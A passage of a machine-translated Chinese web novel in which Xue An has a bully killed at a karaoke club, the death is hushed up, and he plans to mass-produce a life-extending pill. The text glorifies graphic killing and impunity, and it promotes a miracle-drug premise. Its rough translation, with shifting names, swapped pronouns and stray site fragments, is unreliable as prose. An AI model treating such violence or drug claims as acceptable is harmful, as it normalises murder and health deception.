    After that, Luo Jia hung up the phone and said proudly to Yang Bin: "Now take me to the Imperial Capital KV. Today, Shao Wang''s birthday, invite me to participate!"


    Yang Bin looked embarrassed, "But now..."


    "Oh, what''s the use of drinking these useless wines all day? That''s Wang Shao, you can make more useful friends if you go!" Luo Jia said impatiently.


    Yang Binyi''s face was green.


    Zhao Xuehui hurriedly said: "Fourth, you go and see your younger siblings over. If we can come back later, we will be waiting for you! It is not safe for younger siblings to go alone this big night!"


    Yang Binyi looked at Xue An apologetically.


    Xue An smiled slightly, "Big Brother is right, go!"


    Yang Bin nodded hard, "Okay, then you have to wait for me, our brothers will not be drunk or return tonight!"


    Luo Jia snorted from his nostrils, stood up, and walked away proudly.


    After Yang Binyi and Luo Jia left.


    Qiao Le slapped the table with some annoyance, "I really can''t stand it anymore, what''s so good about this girl? You see, the fourth child is fascinated, and you are going to be mad!"


    Zhao Xuehui sighed, "I''m the third child, everyone has aspirations, the fourth child''s family is lacking, and this Luo Jia was his classmate when he was in high school, and the fourth child spent several years chasing her! Naturally spoiled."


    "Is this called petting? Look at that lady''s face, as if someone owes her tens of thousands of dollars!" Qiao Le still remained angry.


    Xue An smiled, "The boss is right. Since the fourth child is willing, what else can we say."


    The three of them continued drinking and chatting.


    Just as he was talking, Zhao Xuehui''s phone rang.


    "Hey, fourth child? What''s wrong?"


    After a while, Zhao Xuehui stood up suddenly with a serious face.


    "Okay! I''ll be over right away!"


    Qiao Le was also surprised, "Big Brother, what''s the matter?"


    "The fourth child was fighting with those people at the banquet!" Zhao Xuehui said with a gloomy expression.


    "Damn, dare to bully my brother!" Qiao Le picked up a beer bottle on the table and was about to leaveZhao Xuehui stopped him, "Lao San, calm down first, the other party is Ke Wang!"


    Hearing the name Wang Ke, Qiao Le was also a little slumped, "What should I do? Is it just like watching the fourth child being bullied?"


    Zhao Xuehui was full of anxiety, thinking about any way to save the fourth child.


    At this moment, Xue An put down his wine glass and said lightly: "Who is Wang Ke?"


    "Second brother, this Wang Ke was the president of the student union of our school at the time. Now, relying on the power of the family, he has become so rich that he can eat well in the middle!" Qiao Le explained.


    Xue An nodded and smiled slightly: "No wonder the name is familiar, let''s go!"


    Xue An stood up.


    "Where to go?"


    "Of course... go home!" Xue An said lightly.


    (=)

 Chapter 189： Send you on the road

    Imperial capital kv.


    Wang Ke sat on the sofa with a sinking face.


    Yang Bin was squatting in the corner with a bruised nose and swollen face.


    At this time, Luo Jia kept saying: "Wang Shao, you calm down, he is just such a reckless temper. You look at the face of classmates, so let him go!"


    Wang Ke glanced at Luo Jia, and said indifferently: "Let him go? Haha! Are they not four? They are also known as the four big **** in the university. Today I want to meet these people who were in school at the beginning. What is it like?"


    All of Wang Ke''s friends and friends laughed loudly.


    Luo Jia looked at Yang Bin with hatred of iron and steel, and her heart was full of anger.


    Originally, when she led Yang Bin, she tried to get Yang Binyi to have more contact with these "upper people".


    But I didn''t expect Yang Bin to fight with these people without a few words.


    At this time, Wang Ke got up and walked to Yang Bin, looking at him condescendingly, a smug smile appeared at the corner of his mouth.


    "Aren''t you arrogant when you were in school? What''s wrong now? Persuaded? Tsk tsk, let me guess, is your eldest brother now worrying about where to move rescue soldiers to rescue you?"


    Yang Bin looked up at Wang Ke, his eyes full of dissatisfaction.


    "And your second brother Xue An!" A cold light flashed in Wang Ke''s eyes.


    "At the beginning, he soaked all the school flowers, but what happened? Didn''t he disappear? It is estimated that the body is now rotten!" Wang Ke sneered.


    "So in this society, nothing else is useful, only power and money are the most important!"


    Seeing Yang Bin''s gradually desperate look, Wang Ke felt extremely refreshed.


    At this time, Luo Jia was also a little disapproved of Yang Binyi.


    In her opinion, Yang Binyi had neither the ability nor the money, and his temper was still stubborn. In no way could he compare to this Wang Ke Wang.


    If you can climb the high branch of Wang Ke, you can wear gold and silver in the future! Luo Jia thought with bright eyes.


    The banquet continued, but this time, Yang Bin squatted in the corner as soon as he was pressed.


    And his so-called girlfriend, smiling brightly, drinking with those rich second-generations.


    Yang Bin felt that his heart became heavier and colder.


    When it was busy, the door of the box was opened.


    Then Zhao Xuehui and Qiao Le walked in.


    When he saw the two of them, Yang Bin couldn''t help feeling a little agitated. He wanted to stand up, but he could not move at all when he was pressed.


    The music stopped, Wang Ke tilted Erlang''s legs and looked at Zhao Xuehui and Qiao Le with playful eyes.


    "What? Going to save people?" Wang Ke smiled.


    Zhao Xuehui bit his scalp and said: "Wang Shao, our fourth child has a bad temper. For my face, you can just let him go this time!"


    "For your face..." Wang Ke repeated.


    His companions laughed.


    "Do you think you have face with me?"


    Qiao Le couldn''t hold back at this time, and said angrily: "Wang, what do you want?"


    "How is it?" Wang Ke smiled sarcastically.


    "As long as you kneel down and beg me! In that case, I will let your brothers go! How about? It''s a good deal!"


    Wang Ke''s words made Yang Bin completely angry, "Big brother and third brother, don''t listen to him, he will kill me if he has the ability!"


    Zhao Xuehui took a deep breath, "Did you let him go when I got down on my knees?"


    "Yes!"


    "Okay!" Zhao Xuehui stepped forward, kneeling down.


    At this moment, a voice came from outside the door.


    "It''s a mere king''s family, it''s really so majestic!"


    This voice was lazy and indifferent, making everyone startled.


    Then a man with a long body and handsome face walked in.


    When they saw him, Zhao Xuehui and Qiao Le couldn''t help being stunned.


    "Old... old second?"


    "Second brother?"


    Xue An came naturally.


    He stunned Zhao Xuehui and Qiao Le smiled, "What? Really thought I was home?"


    Just at the barbecue stall, Xue An really took a taxi and left after talking about going home.


    At that time, Zhao Xuehui and Qiao Le couldn''t help but sigh, but there was no hint of resentment in this sigh.


    In their view, Xue An now has a wife and children, so it is natural to be mindful of things.


    There is nothing to challenge.


    It''s just that I feel a little uncomfortable deep in my heart.


    Unexpectedly, Xue An suddenly appeared again now.


    "The two girls were too sleepy. I sent them home first, and then rushed over." Xue An finished speaking and looked at Yang Binyi in the corner.


    "Who did it?" Xue An asked indifferently.


    The room was quiet.


    Xue An raised his finger and pointed at the wound on Yang Bin''s face, "I''m asking, who did it?"


    At this time, Wang Ke let out a sigh, leaned on the sofa, looked at Xue An with interest, and smiled disdainfully: "If you didn''t admit your mistake, are you Xue An? Ha ha, I didn''t expect that you were still alive after missing four years. !"


    Xue An turned to look at Wang Ke, his indifferent gaze made Wang Ke''s heart tighten slightly.


    But soon, Wang Ke returned to normal, and at the same time looked at Xue An somewhat reluctantly.


    Xue An laughed at this time.


    "It''s you who beat my brother, isn''t it?"


    Wang Ke nodded and said proudly: "He is looking for death by himself. If you don''t believe me, you can ask his girlfriend!"


    Luo Jia looked at Zhao Xuehui, Xue An and the others with disdain, and said impatiently: "Wang Shao is right! And I advise you to leave here quickly, if Wang Shao gets angry, you won''t be able to leave!"


    Looking at Luo Jia who was full of contempt, Yang Binyi finally gave up completely. He closed his eyes and his face was desperate.


    Xue An ignored these at all, still looking at Wang Ke faintly, "You are the one who forced my brother to kneel, right?"


    Wang Ke frowned, "Xue An, don''t pretend to be a big man. I tell you, it''s not time to go to school. Here, I can speak useful, understand?"


    Xue An nodded, "Just admit it!"


    When the voice fell to the ground, Xue An approached, grabbed Wang Ke by the neck, and directly lifted him from the sofa.


    Wang Ke was lifted into the air, and finally a panic flashed across her face, "You...what do you want to do?"


    Xue An looked indifferent, "Since you did it all, naturally I will send you on the road!"


    Wang Ke originally wanted to say a few scenes but when he saw Xue An''s eyes, he couldn''t help being stunned.


    Because Xue An''s eyes were calm and terrifying, there was not even a trace of waves.


    But it was this look that made Wang Ke tremble all over.


    "No! You can''t kill me! I''m from the Wang family..."


    "Wang Family?" A smile appeared at the corner of Xue An''s mouth.


    Wang Ke was about to be scared to pee. Suddenly remembering something, he stammered: "Also, I''m a Fire Phoenix person. If you dare to kill me, then wait to be chased by the Fire Phoenix person! "


    This sentence stopped Xue An.


    "what did you say?"


    Wang Ke breathed a sigh of relief. It seems that he is not afraid, then he grinned and said, "Didn''t you hear clearly? I''m a member of the Fire Phoenix Special Forces. If you dare to touch me, you will die!"


    (=)

 Chapter 190： kill him

    The box became quiet.


    Everyone looked at Xue An.


    Xue An raised his eyebrows slightly and said lightly: "Fire Phoenix?"


    "Yes, it is to defeat all opponents in the military area competition, but he has no casualties, and now ranks first in the country the Fire Phoenix Special Forces!" Wang Ke was full of pride.


    Hearing what Wang Ke said, Zhao Xuehui couldn''t help but his expression changed drastically, and he took two steps forward, "Second, let Shao Wang come down!"


    boom.


    Xue An let go.


    Wang Ke fell on the coffee table, splashing all over his body.


    Zhao Xuehui stepped closer, "Young Master Wang, my brother just came to Zhongdu, and he doesn''t understand many rules. Don''t be familiar with him!"


    But Wang Ke didn''t say a word, but looked at Xue An with a bitter face.


    Zhao Xuehui was anxious and turned to Xue An and said, "Second, apologize to Young Master Wang!"


    At the same time, he kept winking at Xue An.


    But Xue An stood there calmly, not knowing what he was thinking.


    The friends of Wang Ke''s fox and dogs also yelled.


    "Damn, where''s the stunner? How dare you offend Shao Wang?"


    "Kneel down and apologize! Otherwise, you will be abolished today!"


    In these voices, Wang Ke said gloomily.


    "Apologize? It''s useless for him to kneel down today. I just talked to Huofenghuang''s grandson. They happened to be eating nearby, and it will be there in a while, when the time comes... Haha!"


    Wang Ke sneered cruelly.


    "I''ll give you five minutes!" Xue An suddenly interrupted Wang Ke.


    The room gradually calmed down.


    Wang Ke raised his eyebrows and looked at Xue An like a dead person, "Give me what?"


    "I said, I''ll give you five minutes. If the people you mentioned don''t show up within five minutes, then I will send you on the road!" Xue An showed two beautiful tiger teeth and smiled sorrowfully.


    "That is... to kill you!"


    boom!


    Xue An''s words were like throwing a bomb, and many people were shocked.


    Is this guy a fool?


    Wang Ke''s expression was uncertain, and finally said gloomily: "Okay! Since you are looking for death by yourself, then I will let you know, in Zhongdu, what kind of people cannot be offended!"


    At this time, someone released Yang Binyi, and the three brothers surrounded him anxiously.


    Yang Bin said with red eyes, "Second brother......"


    Xue An waved his hand and smiled faintly, "It''s okay, I''m here!"


    Qiao Le stood silently to Xue An''s side, tucked his hands in his sleeves, and grasped an axe hidden in it.


    Zhao Xuehui gritted his teeth and whispered: "If you fight for a while, you have a wife and children, my second son, you have a wife and children, then take the opportunity to leave, and leave Zhongdu overnight! Do you understand?"


    A warm current surged in Xue An''s heart and patted Zhao Xuehui on the shoulder, "Boss, don''t be so nervous, things are not so bad!"


    Zhao Xuehui sighed and smiled bitterly: "How could it not be bad? Someone in my family is serving as a soldier in the army. During this time, the name of the phoenix phoenix has become a cocoon in my ears. That is a true elite of all warriors. ! If this Wang Ke really knows them, then this matter... alas!"


    The more Zhao Xuehui said, the worse his face became.


    Yang Bin was silent at this moment, but looked at Luo Jia not far away with a murderous face.


    Luo Jia also noticed Yang Binyi''s gaze, got up and walked closer, curled his lips and said: "What? Feel unconvinced?"


    "You bitch..." Yang Bin squeezed this sentence from his teeth.


    Luo Jia''s countenance changed, and then she sneered: "I am a bitch, but you are not as good as a bitch! Humph!"


    After speaking, he turned and left without mercy.


    Xue An calmly sat on the sofa and waited.


    Five minutes, fleeting.


    Finally, there was a rush of footsteps outside the box.


    Wang Ke smiled and just stood up.


    I saw a group of people pushing the door and entering, and it was Sun Ling who walked in the front.


    As soon as Wang Ke saw him, he ran to him, nodded and smiled flatly: "Brother Sun, you are here!"


    Sun Ling nodded and said solemnly: "You said someone is making trouble here?"


    "Yes, that guy!" Wang Ke stretched his finger.


    Sun Ling looked up, only to see a back figure sitting on the sofa.


    Sun Ling''s expression sank as he was about to walk over to see who it was.


    Just heard a calm voice, "I taught you martial arts, but you used to be dogs for the children of the family?"


    As soon as this sentence came out, the expressions of Sun Ling and the people who came changed wildly!


    At this time, Wang Ke yelled: "Boy, death is approaching, and you still have a stiff mouth..."


    Snapped!


    A sharp slap made Wang Ke stop his mouth.


    This force was so hard that half of Wang Ke''s face was swollen.


    Wang Ke was beaten dumbfounded, covering his face and staring blankly at Sun Ling.


    "Brother Sun! How are you...?"


    Sun Ling ignored him at all, but led the crowd to take a few steps. Five steps away from the sofa, he bent down and shouted respectfully: "Fire Phoenix Sun Ling and others... see you Instructor!"


    The words came out.


    The audience was silent.


    Everyone stared in amazement.


    Only the back figure on the sofa remained motionless.


    There was a long silence.


    The atmosphere in the room seemed to freeze.


    Sun Ling bent over, only feeling cold sweat on his face.


    "Am I right? Sun Ling?" Xue An turned around, leaned on the sofa, and looked at Sun Ling.


    Sun Ling trembled and raised his head pale, just in time to see Xue An''s cold and indifferent eyes, and then gritted his teeth.


    "Instructor, this Wang Ke said that someone made trouble and slandered the Fire Phoenix, so I came here..."


    Xue An waved his hand impatiently, and Sun Ling immediately shut up.


    Xue An''s long fingers tapped the armrest of the sofa lightly, and everyone''s heart quivered with the tapping sound.


    Then Xue An looked at Sun Ling with a playful gaze I said that the real strong never bothers to explain, wrong, wrong! "


    "Yes!" Sun Ling lowered his head.


    And this scene also made Wang Ke and Luo Jia and others look at the dead souls.


    Now he is a fool, and it can be seen that Xue An''s identity is absolutely extraordinary.


    Otherwise, how could it be possible to reprimand this Sun Ling like a child?


    Xue An stood up at this time and walked up to Sun Ling.


    "It stands to reason that I should abolish your cultivation. Can you be convinced about this?"


    "Convinced!" Sun Ling was shaking all over.


    Xue An put his hand on the back of Sun Ling''s head and suddenly smiled, "Forget it, since Wang Ke started everything, then I will give you a chance!"


    Sun Ling straightened up immediately and said very firmly: "Instructor, please speak!"


    Xue An raised his hand to Wang Ke, who was trembling in the corner with a pale face, and smiled faintly, "Kill him!"


    Sun Ling rushed over without hesitation.


    Wang Ke let out a deafening scream, "Brother Sun, spare your life! Xue An, spare your life, I..."


    Sun Ling had never hated a person so much, just because he was telling right and wrong, he was almost abolished by the instructor, so Sun Ling''s eyes were red, and when he shot, he cut Wang Ke''s hands off.


    Lying in a pool of blood, Wang Ke was so frightened that he even crawled towards Xue An forcefully, while crying bitterly: "Brother Xue, no...Mr. Xue forgive me! I don''t dare... anymore."


    The latter words will never come out, because Sun Ling grabbed Wang Ke''s hair and cut Wang Ke''s throat from behind.


    Wang Ke''s eyes gradually lost their look, and the last picture before he died was Xue An, standing with his hands holding his hands, with an indifferent face.


    I shouldn''t mess with him! Wang Ke thought with great regret, and then fell into the endless darkness.


    Mobile station:

 Chapter 191： Give you a game of pouring wealth

    The audience was horrified.


    No one dared to speak.


    No one even dared to look at Xue An.


    After Sun Ling killed Wang Ke, he stood respectfully again.


    Xue An nodded slightly, "Yes! But if you and Huofeng''s members colluded with these aristocratic children in the future, you know the consequences!"


    Speaking of the back, Xue An''s tone was cold.


    Sun Ling trembled, "Yes!"


    Then Xue An looked at Wang Ke''s friends and friends, and Luo Jia, the fourth-year-old girlfriend.


    At this moment, Luo Jia almost couldn''t stand on both legs. When she saw Xue An looking at her, she couldn''t help but knelt on the ground with her legs soft.


    "Rao... forgive me!" Luo Jia said tremblingly.


    Xue An smiled slightly and looked at Yang Binyi, "Fourth old man, what are you going to do with this woman?"


    Hearing these words, Luo Jia raised hopes on his face and turned to look at Yang Binyi, "Binyi...!"


    In the past, Yang Bin would always look at himself affectionately.


    But now, all Luo Jia saw from Yang Bin''s face was disgust.


    Luo Jia crawled over on her knees and tremblingly said: "Bin Yi, please give me a chance. I will never dare to do it again. I must be honest at home and be your girlfriend, okay?"


    Speaking of the back, Luo Jia grabbed the corner of Yang Binyi''s clothes and looked at Yang Binyi with begging eyes.


    But Yang Bin waved his hand mercilessly, stepped back and looked at Luo Jia indifferently.


    "Second brother, save her life!"


    Xue An nodded.


    Then Yang Bin said coldly: "I don''t want to see you again, get out!"


    Luo Jia''s complexion gradually paled, "Bin..."


    "Fuck! No more wordy, now I will kill you!" Yang Bin roared.


    Luo Jia stood up tremblingly and looked at Yang Binyi full of regret.


    She does regret it now, because she knows it very well.


    Once Yang Bin has a friend like Xue An, he will surely soar into the sky in the future.


    If you were not so short-sighted at the beginning, if...


    It will be me who is standing next to Yang Bin now!


    Thinking of this, Luo Jia had the desire to die.


    When Luo Jia left, Yang Binyi burst into tears.


    Zhao Xuehui sighed and patted Yang Binyi on the shoulder.


    "Big brother, I''m fine, I''m happy, because I finally saw through a bitch, haha!" Yang Bin smiled bitterly.


    But at this moment, the KTV security rushed in, and when they saw the dead bodies on the ground, their complexions changed greatly.


    "Who killed Wang Shao?" The security captain asked in a deep voice.


    Sun Ling took a step forward and said coldly: "I killed it!"


    The security captain was full of arrogance, "Okay, you dare to kill people here, and you still kill Wang Shao, you don''t even want to leave today!"


    Sun Ling sneered, waiting to speak.


    Suddenly there was a voice, "Is that Mr. Xue?"


    Xue An looked up and saw an old man walking outside the door.


    Xue An frowned, "You are..."


    The old man bowed respectfully, "I am a housekeeper of the Chen family and have been in charge of this piece of affairs. I rushed over when Wang Ke was dead. I didn''t expect Mr. Xue to be here!"


    Xue An nodded, "It turned out to be Steward Chen!"


    "Don''t dare, I ask Mr. Xue, this Wang Ke..."


    "My people killed, why? Any questions?" Xue An said lightly.


    Butler Chen had cold sweat on his face and smiled slightly: "If that''s the case, then it''s okay!"


    never mind?


    Zhao Xuehui, Qiao Le and others, who were originally very nervous, all looked blank.


    Is it okay if you die?


    Xue An nodded, "In this case, I will trouble you with the rest!"


    "Mr. Xue is too polite! Please go slowly!" Steward Chen respectfully said.


    Wait for Xue An and others to leave.


    The security captain whispered: "Old gentleman, who was that man just now? Make you so scared with an identity like you?"


    Steward Chen wiped the cold sweat from his forehead, and let out a sigh of relief: "Who is it? Haha, that is the real dragon among people, a figure above the nine heavens! Compared with him, this Wang Ke is not even a loach. Come on! Return the corpse to the Wang family, and warn them not to vain revenge, otherwise the Chen family will not let them go!"


    "Yes!" The security captain trembled, and quickly whispered.


    After leaving KTV, the fresh air outside shocked everyone''s spirits.


    Think about it, what just happened really seemed like a dream.


    Sun Ling and others respectfully bid farewell to Xue An and turned back to the camp.


    The four people walked down the midnight street, all silent.


    I don''t know how long it will take.


    When everyone looked up, they realized that they had come to the gate of their alma mater.


    It was already morning, and a few people simply went to the university cafeteria and re-eated their previous meals.


    While eating, Zhao Xuehui and the others complained about the meal, which has not changed much over the years.


    Xue An kept smiling and said nothing.


    After eating, Xue An looked at Zhao Xuehui and others, and suddenly whispered, "Aren''t you curious?"


    Zhao Xuehui shook his head, "To be honest, we were curious at the beginning, but not anymore!"


    Qiao Le drank the last sip of rice porridge and sighed: "No matter what big person you become, I only know that you are still my second brother, that''s enough!"


    "Yes!" Yang Bin nodded and said.


    Xue An laughed.


    The laughter attracted a lot of people''s attention.


    Then Xue An said calmly: "Since you are all brothers, then I will give you a splash of wealth!"


    Splashing wealth?


    Qiao Le looked at each other, not knowing what Xue An was talking about.


    And Zhao Xuehui smiled bitterly: "Now that we have no capital and no connections, where is the richness and wealth?"


    Xue An smiled and wrote two words on the table with his finger dipped in water.


    "Changsheng!" Zhao Xuehui said in surprise.


    Xue An nodded, "It''s not a real longevity, but it can stimulate people''s potential and extend their life span by at least 20 years!"


    hiss.


    Zhao Xuehui and the others looked at each other, their eyes full of shock.


    Now that medicine is advanced, no one dares to say that life can be extended by 20 years.


    If this is true, it is simply a money printing machine!


    These are difficult for others, but for Xue An, it is simply too simple.


    Just come up with a simplified version of Pei Yuan Dan, UU reading can achieve this effect.


    But Zhao Xuehui frowned, "Second, I don''t doubt what you said, but with such a huge benefit, based on a few of us, will it..."


    Zhao Xuehui''s meaning is clear.


    Such huge benefits can make any organization go crazy.


    Just relying on a few of them is a death!


    Xue An smiled, "Of course it won''t be you, and you can''t eat it. I can ask the Chen family and the military to help you!"


    "The Chen family?" Zhao Xuehui trembled, "Is that the Chen family?"


    Xue An nodded.


    The three looked at each other, and they all saw the fire of hope in each other''s eyes.


    "Damn! Got it! Second brother is so awesome now, we can''t fall behind too much!" Qiao Le said bitterly.


    (=)

 Chapter 192： 8 Qi present world

    Country R.


    Yaki Shrine.


    Kiyoko Takeuchi sat cross-legged in front of the Yaki God statue, her beautiful face full of demonic energy.


    Several old men stood solemnly in the distance.


    at last.


    There is a black air rising into the sky on the idol of Yaqi Orochi.


    Several old men bowed to the ground with excitement.


    A vague but majestic voice came.


    "Er wait for mortals, why do you call me?"


    An old man wearing a black gold rim knelt and climbed a few steps, and said respectfully: "Master Yaqi, this is the mortal substitute we found for you!"


    A snake head faintly appeared in the black air, looking at Kiyoko Takeuchi underneath, there was a strange smile.


    "Very good, it''s a natural-born monster, it''s doing a good job!"


    "Master Xie!" Several old men burst into tears with excitement.


    Heiqi suddenly came out and wrapped Kiyoko Takeuchi in it.


    Kiyoko Takeuchi''s complexion became extremely painful, and blood gradually flowed out of his mouth and nose.


    Suddenly.


    All the black air disappeared.


    And Kiyoko Takeuchi slowly opened his eyes, and a pair of diamond-shaped pupils were filled with indifference and coldness.


    Several elders all knelt to the ground respectfully, "Participate adults!"


    "I am very satisfied with my body this time, so this time I am born, I will gather the other heads and gather the demon body!" Takeuchi Kiyoko said coldly.


    "Yes!"


    "As for now..." Takeuchi Kiyoko turned and walked towards the shrine, drew out a knife beside the idol.


    As soon as the knife was released, the whole room was dark.


    The surging and biting evil spirit rose from the knife.


    Kiyoko Takeuchi grinned and smiled horribly.


    "The breath of Huaxia Sword Immortal has disappeared, and now there is only one Lin General. When I kill him, no one in Huaxia can resist the power of my ghost sword!" When Kiyoko Takeuchi began to speak, it was still somewhat It''s awkward, but the more you go to the back, the smoother it is.


    The hearts of several old men are also full of horror at this moment.


    In the past, Yaqi came into the world, and it would take at least several months to be perfectly integrated.


    This time the integration was completed in such a short time.


    Even faster than the previous Ito Nazuki!


    Kiyoko Takeuchi turned his head to look at the people who were kneeling on the ground, "You did a good job. When I reunited the demons, and when I came to this world, I will transform you all into immortal demons and enjoy eternal life!"


    Several old men banged their heads banging, and tears were streaming down their faces.


    "The order is passed down, and after half a month, I will cross the sea east to avenge General Lin''s sword!"


    "Yes!"


    Xue An has not been at home for the past two days because he wants to simplify this pill of cultivation as much as possible.


    After all, a lot of medicinal materials are very precious. If they follow the original version, the price will be too high for many people.


    At the same time, these processes must meet the requirements of assembly line processing, otherwise if all labor is used, the output cannot be guaranteed!


    On this day, he received a call from the boss Zhao Xuehui.


    "Hey, my second child, I just contacted a pharmaceutical company that is interested in selling it. The price is very cheap. Should we go take a look?"


    After all, it would take at least one year to build a pharmaceutical factory from scratch.


    So Xue Anti��s suggestion is to try to buy ready-made factories.


    "Okay, then I''ll pass in a while!"


    When he arrived at the gathering place, Xue An couldn''t help but smile when he noticed that the three of them were wearing suits and shoes now, looking like successful people.


    "Second brother, are you going to wear this?" Qiao Le asked.


    "What''s wrong with this?" Xue An looked down at his slippers.


    "Uh... nothing! I have worn out all the clothes I bought for the blind date. It''s so **** hot!" Qiao Le wiped the sweat from his face.


    Zhao Xuehui waved his hand, "Go!"


    This time, in order to strengthen the appearance, Zhao Xuehui gritted his teeth and rented a BMW.


    Xue An sat in the back row and looked at the three people excitedly discussing starting a business, and his mood improved a lot.


    My three good friends are very aggressive and don''t rely on themselves for everything.


    Xue An just provided a suggestion for many things, and then these three people went to work.


    And the three of them made it clear that Xue An owns half of the company''s shares.


    Xue An just laughed at this.


    If he wants shares, isn''t it easier to do it himself?


    After arriving at the destination, Xue An looked up at this vast and modern pharmaceutical factory.


    "Hello, is it Mr. Zhao?" A secretary who had been waiting in front of the door stepped forward.


    Zhao Xuehui nodded, "I am!"


    "Please follow me, our chairman is waiting for everyone in the office!"


    After walking through the wide square, I came to a brand new office building.


    "A few wait, our chairman is meeting with other guests!"


    The three Zhao Xuehui sat on the sofa, talking in low voices about the meeting.


    Xue An stood in front of the window and listened quietly.


    Although there are several walls, Xue An can still hear the conversation inside if he wants to listen.


    "I tell you, even if Shu Liu sells this factory cheaply, I won''t succumb to you!" a female voice angered.


    "Haha, Chairman Shu, do you think that if you have offended our Chi family, does anyone in your factory dare to do it?" said a proud male voice.


    "Then I will tear down the factory myself, and I won''t give it to you!"


    "Then please do it for yourself But I want to remind you that in Zhongdu, what our Chi family says is Wang Fa!" The male voice said with a cold snort.


    After a while of footsteps, these people seemed to have left.


    After another long silence, the woman''s sobbing sound faintly heard.


    Xue An''s heart moved, it seems that this factory really has other things.


    After a while, the secretary stepped forward and said: "Sorry, you have been waiting for so long, please come with me!"


    Xue An took the lead and walked ahead, attracting the secretary''s attention.


    After all, Xue An is now wearing too casual clothes, wearing casual clothes and wearing sandals and slippers, as if she was going shopping.


    Waiting to enter the office.


    A beautiful lady stood up and smiled slightly, "I''m Shu Liu, the chairman of this pharmaceutical factory. I''m really sorry. There was something just now. I have kept everyone waiting!"


    Xue An glanced at the woman''s face and found that her eye sockets were slightly red, apparently she had just cried.


    "Hello, this is Zhao Xuehui. How large is your factory, and what are the equipment and procedures?" Zhao Xuehui obviously worked hard and asked very professional questions.


    The two began to discuss various aspects of the situation in detail.


    Xue An listened blankly on the side.


    The facilities, equipment and various procedures of this pharmaceutical factory are complete, without any defects, and the price can be said to be very affordable.


    Therefore, Zhao Xuehui was very satisfied in the end.


    "Mr. Zhao, if you really want it, you''d better make a decision now, otherwise I can''t guarantee that this factory will be at this price tomorrow!" Shu Liu whispered.


    Zhao Xuehui looked at Xue An with questioning eyes.


    Xue An raised his head at this time and smiled slightly at Shu Liu, "Excuse me, Chairman Shu, why are you in a hurry to sell such a good factory?"


    Mobile station:

 Chapter 193： I know, but I dont care!

    Shu Liu looked bitter, and then whispered: "Because..."


    Xue An said lightly: "Is it because of any dispute?"


    As soon as this sentence came out, Shu Liu was shocked, and then looked at Xue An with surprise.


    At the beginning, Shu Liu thought Xue An was the driver, so he didn''t take him seriously.


    But now it seems that he is the real decision maker.


    Shu Liu sighed, then nodded, a painful expression flashed across his face, "Yes, there is indeed a dispute! And it is a dispute with Zhongdu Chi''s family!"


    Chi family!


    This name made Zhao Xuehui and the others slightly changed.


    Qiao Le was even more dissatisfied: "Chairman Shu, you are not being honest. After talking for a long time, it turns out that you want to pit us in!"


    Shu Liu blushed and bowed his head in shame: "I...I am really desperate now. There have been many people visiting the factory these days, but when I heard Chi Jia, I was all scared away. There is really no way I can think about it. To conceal."


    After speaking, Shu Liu closed his eyes in pain and sighed softly, "If you don''t think it works, then forget it!"


    Zhao Xuehui winked with Qiao Le, then stood up and said: "I''m sorry, I don''t think I need to talk about it next, after all, Chi Jia..."


    The meaning of the two is very clear.


    The Chi family of Zhongdu is a wealthy and distinguished family. Seeing this, this Shu Liu offended is not the ordinary Chi family member.


    Although the factory is cheap, but after taking over, you will have to face the hatred of a wealthy family, which is not worth it.


    Shu Liu nodded pale and did not speak.


    And just when the three of Zhao Xuehui got up to leave, Xue An put down the pen in his hand, looked up at Shu Liu, and said lightly.


    "If I take over and let you manage this factory, dare you?"


    When Shu Liu, who had been completely desperate, heard this, an incredible expression appeared on his face.


    "This gentleman, what I just said is very clear. There is a direct contradiction between this factory and the Chi family, you..."


    Xue An waved his hand, "I know, but I don''t care!"


    Although this sentence was plain, but the domineering contained in it made Shu Liu stunned.


    This young man looks ordinary, why is there such a strong self-confidence?


    "I''ll just ask you, dare or not?" Xue An asked, staring at Shu Liu.


    Shu Liu gritted his silver teeth. It was already in this situation anyway. If the other party dared to take over, there must be a way to deal with the Chi family, and if he could really manage the factory, it would be better.


    Shu Liu hesitated for a moment, then nodded, "Of course I dare!"


    Xue An leaned back and said lightly: "Okay, let''s make an agreement now!"


    "What?" Shu Liu thought he had heard it wrong.


    "So fast?" Zhao Xuehui was also taken aback.


    Xue An smiled slightly, "It''s not a big deal. If you have negotiated, sign it!"


    "But..." Zhao Xuehui frowned and wanted to persuade Xue An.


    Although he knew that Xue An should not be afraid of Chi''s family, it is better to do more than to do less. Why do you have to have this pharmaceutical factory, and this woman has to be a director?


    Does the second child fall in love with this woman?


    No, although this woman looks good, she is still far behind her younger siblings.


    At the same time, this Shu Liu was also a little suspicious.


    Why did he do this? Could it be... coveting my beauty?


    Xue An said calmly: "I took a look at the factory when I came here, and I can see that you are serious and responsible, so I don''t care about any grievances between this and the Chi family, I will decide this factory!"


    Shu Liu felt blushing and felt very ashamed of what she had just thought. Then she stood up and said respectfully, "Thank you! May I have your surname, Mr.?"


    "My name is Xue!"


    The agreement was signed soon, and Shu Liu still felt like a world away.


    "Mr. Xue, what are we going to produce next? There are not many raw materials now. If you want to produce, you need to make up the raw materials as soon as possible."


    Xue An shook his head, "Naturally, we are not producing these ordinary medicines. What we want to produce is a magic medicine that can prolong life for 20 years!"


    These words changed Shu Liu''s face immediately, and looked at Xue An sharply.


    "If this is the case, then I won''t sell this factory!"


    "Why? Hey, I said that you are a little funny, you just signed it, and you regret it now?" Qiao Le couldn''t help saying.


    Shu Liu said coldly: "Even if I destroy the factory, I won''t let you people produce some deceptive fake drugs!"


    These words made Zhao Xuehui and the others stunned for a moment, then they all shook their heads and laughed bitterly.


    In fact, they have encountered this kind of thing more than once.


    When many people hear that they intend to produce a magic drug that can extend their life span for 20 years, the first reaction is a liar.


    Xue An smiled slightly at this time, "Do you think we are a liar?"


    Shu Liu looked at Xue An coldly, "I didn''t think that it was originally!"


    As a top medical student, Shu Liu absolutely does not believe that any medicine can prolong life for 20 years.


    Xue An nodded and took out a small glass bottle from his pocket.


    It was filled with a pale golden liquid.


    "This... is the medicine that can prolong life!"


    Looking at this thing, Shu Liu''s face showed a hint of sarcasm, "Do you think I can believe it?"


    Xue An stood up and put the glass bottle on the table, "I will give you one night, you can try it yourself!"


    After that, Xue An turned and left.


    After Zhao Xuehui and others took a look at Shu Liu, they all left.


    Shu Liu was the only one left in the huge office. She looked at the little bottle on the table with a gloomy expression.


    How could there be a miraculous medicine to extend life for 20 years?


    Even if it does, it can''t be done under the current medical conditions?


    With this thought in mind, Shu Liu stepped forward and picked up the small bottle, ready to throw it into the trash can.


    At this moment, the phone rang and an anxious female voice came from inside.


    "Shu Liu, come on, your grandpa is dying!"


